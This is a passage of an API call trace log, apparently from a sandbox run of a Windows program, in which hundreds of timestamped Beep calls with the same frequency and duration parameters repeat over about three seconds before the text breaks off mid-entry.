[0246.665] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.685] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.699] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.715] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.729] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.745] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.751] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.767] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.778] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.800] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.819] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.829] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.843] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.872] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.883] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.898] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.914] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.929] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.940] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.960] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.982] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.991] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.007] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.026] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.068] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.070] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.071] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.072] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.073] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.074] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.075] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.076] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.155] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.156] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.157] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.158] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.159] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.160] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.161] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.162] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.163] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.274] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.275] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.276] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.277] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.278] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.279] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.280] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.281] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.282] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.283] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.284] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.285] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.286] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.287] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.288] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.289] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.290] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.292] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.293] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.294] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.295] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.296] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.297] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.298] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.299] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.300] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.301] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.302] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.303] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.304] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.305] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.306] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.307] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.308] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.315] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.316] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.317] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.318] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.319] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.320] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.321] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.322] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.323] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.324] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.325] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.326] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.327] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.328] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.329] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.331] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.332] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.333] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.334] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.335] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.336] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.337] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.338] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.339] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.340] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.341] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.342] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.343] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.344] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.345] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.346] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.347] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.348] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.349] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.350] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.352] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.368] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.383] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.399] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.400] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.401] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.416] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.432] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.448] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.449] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.466] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.481] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.496] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.497] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.499] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.514] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.530] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.545] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.547] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.548] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.549] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.550] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.551] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.552] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.553] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.554] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.556] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.557] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.558] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.559] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.560] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.561] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.562] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.563] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.565] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.581] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.596] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.612] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.613] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.615] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.617] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.618] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.619] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.620] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.621] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.622] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.638] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.653] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.669] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.684] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.685] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.686] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.702] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.718] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.763] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.765] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.765] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.766] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.767] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.768] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.769] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.770] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.771] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.772] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.773] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.774] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.775] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.791] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.806] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.822] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.823] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.824] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.840] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.855] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.871] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.872] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.873] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.889] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.904] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.905] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.906] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.907] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.908] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.909] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.910] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.911] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.912] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.913] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.914] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.929] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.945] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.961] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.962] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.963] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.978] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0247.995] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.010] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.011] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.011] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.027] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.043] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.044] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.045] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.046] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.047] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.048] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.049] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.050] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.051] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.052] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.053] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.068] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.084] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.100] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.101] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.101] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.103] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.103] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.104] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.105] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.107] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.109] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.109] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.125] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.141] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.156] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.158] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.158] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.159] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.160] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.161] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.162] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.163] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.164] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.165] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.167] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.182] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.198] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.213] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.214] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.215] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.235] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.246] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.263] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.264] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.279] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.295] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.311] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.312] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.313] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.328] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.344] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.346] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.362] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.377] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.393] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.394] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.395] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.410] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.427] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.428] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.429] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.430] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.431] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.432] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.433] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.434] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.435] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.436] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.451] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.467] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.483] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.484] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.485] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.500] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.516] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.532] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.532] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.533] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.549] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.565] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.566] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.567] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.568] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.569] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.570] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.571] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.572] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.573] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.574] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.575] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.590] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.606] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.621] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.622] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.623] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.639] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.655] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.672] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.672] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.688] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.704] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.719] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.720] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.722] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.737] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.752] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.753] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.754] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.755] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.756] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.757] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.758] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.760] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.761] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.762] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.778] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.794] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.809] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.811] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.811] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.827] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.842] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.858] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.859] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.860] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.876] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.891] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.892] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.893] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.909] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.924] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.940] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.941] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.942] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.958] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.975] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.977] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.977] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.978] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.979] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.981] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.982] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.983] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.984] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.985] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.986] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.987] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.988] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.989] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.990] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.991] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.992] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0248.993] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.009] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.024] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.040] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.041] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.042] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.058] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.073] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.092] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.106] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.122] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.123] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.124] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.125] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.126] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.127] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.128] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.129] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.130] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.131] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.132] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.147] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.163] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.179] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.180] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.181] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.196] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.212] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.213] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.214] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.215] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.216] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.217] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.218] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.219] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.220] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.221] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.223] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.238] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.253] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.269] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.270] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.271] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.272] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.273] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.274] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.275] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.276] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.277] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.278] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.294] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.310] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.326] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.326] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.328] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.343] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.359] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.375] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.375] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.377] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.392] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.408] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.423] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.424] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.425] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.441] Beep 